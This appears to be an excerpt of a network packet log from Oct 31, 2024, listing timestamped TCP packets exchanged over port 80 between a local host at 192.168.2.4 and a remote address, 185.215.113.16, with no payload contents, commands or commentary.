Oct 31, 2024 20:52:47.246346951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246359110 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.246396065 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.246501923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246511936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246526957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246536970 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.246537924 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246552944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246563911 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.246565104 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246577978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246587038 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246588945 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.246598959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246614933 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.246629000 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.246854067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246905088 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246915102 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246937990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246948957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.246951103 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.246972084 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.247025013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247035980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247046947 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247056961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247070074 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.247071028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247109890 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.247611046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247701883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247716904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247728109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247737885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247749090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247750998 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.247775078 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.247786999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247787952 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.247797966 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247808933 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247829914 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.247893095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247909069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247919083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247931004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.247931004 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.247956038 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248019934 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248030901 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248054028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248064995 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248071909 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248075962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248090029 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248095036 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248111963 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248251915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248286009 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248296022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248306990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248336077 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248428106 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248440027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248449087 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248459101 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248471022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248492956 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248672962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248688936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248699903 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248709917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248711109 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248723030 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248733044 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248735905 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248752117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248759985 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248763084 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248775005 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248785973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248785973 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248797894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.248806000 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.248974085 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.249427080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249438047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249449015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249469995 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.249501944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249512911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249522924 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249536037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249535084 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.249557972 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.249617100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249628067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249638081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249649048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249660015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249661922 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.249686003 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.249701977 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.249731064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249742031 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249752045 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249774933 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.249815941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249826908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249836922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249847889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.249859095 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.249886990 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.250242949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250274897 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.250283957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250296116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250325918 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.250340939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250351906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250361919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250380039 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250385046 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.250417948 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.250461102 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250471115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250482082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250492096 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250503063 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.250504017 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250524998 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.250614882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250627041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250637054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250648022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250648022 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.250659943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.250673056 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.250696898 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.251091957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251102924 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251112938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251135111 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.251168013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251178980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251190901 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251199007 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.251203060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251215935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251223087 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.251247883 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.251290083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251302004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251322031 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251331091 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.251333952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251347065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251358986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251380920 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.251384974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251395941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251406908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251421928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251427889 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.251427889 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.251435041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.251476049 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252002954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252065897 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252089024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252099991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252110958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252121925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252132893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252140045 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252150059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252161026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252166986 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252172947 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252182961 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252202034 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252248049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252259970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252269983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252281904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252305984 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252326012 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252346039 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252357006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252372980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252382994 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252393961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252404928 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252410889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252414942 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252454042 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.252964973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.252989054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253000021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253031969 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253063917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253078938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253088951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253099918 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253102064 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253117085 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253127098 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253149986 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253186941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253196955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253206015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253216982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253226042 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253227949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253240108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253257990 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253276110 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253293991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253304958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253335953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253345966 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253355980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253372908 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253372908 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253827095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253838062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253848076 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253884077 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253886938 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253886938 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253896952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253909111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253921032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253931046 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253963947 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.253983974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.253994942 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254004955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254014969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254024029 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254025936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254048109 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254157066 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254168034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254178047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254188061 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254199028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254201889 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254214048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254225016 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254235029 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254240990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254242897 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254251003 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254261971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254272938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254280090 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254293919 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254713058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254745960 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254827023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254837990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254848003 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254858971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254869938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254869938 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254882097 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254894972 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254910946 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254915953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254925966 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254935026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254945040 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254951000 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.254956007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254966974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.254987955 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.255017996 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.304198980 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.326998949 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.363725901 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363758087 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363770962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363786936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363799095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363826990 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.363837004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363850117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363895893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.363895893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.363913059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363930941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363943100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363954067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363955975 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.363965988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.363981009 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364011049 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364264011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364346027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364356995 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364367008 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364377975 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364389896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364398956 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364432096 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364432096 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364497900 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364514112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364528894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364538908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364547014 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364551067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364563942 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364574909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364584923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364586115 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364597082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364603996 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364608049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364623070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364624023 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364634991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364645958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364667892 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364667892 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364670992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364686012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364722013 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364801884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.364846945 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.364862919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365329981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365375042 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365376949 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.365386009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365437984 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365448952 CET	80	49766	185.215.113.16	192.168.2.4
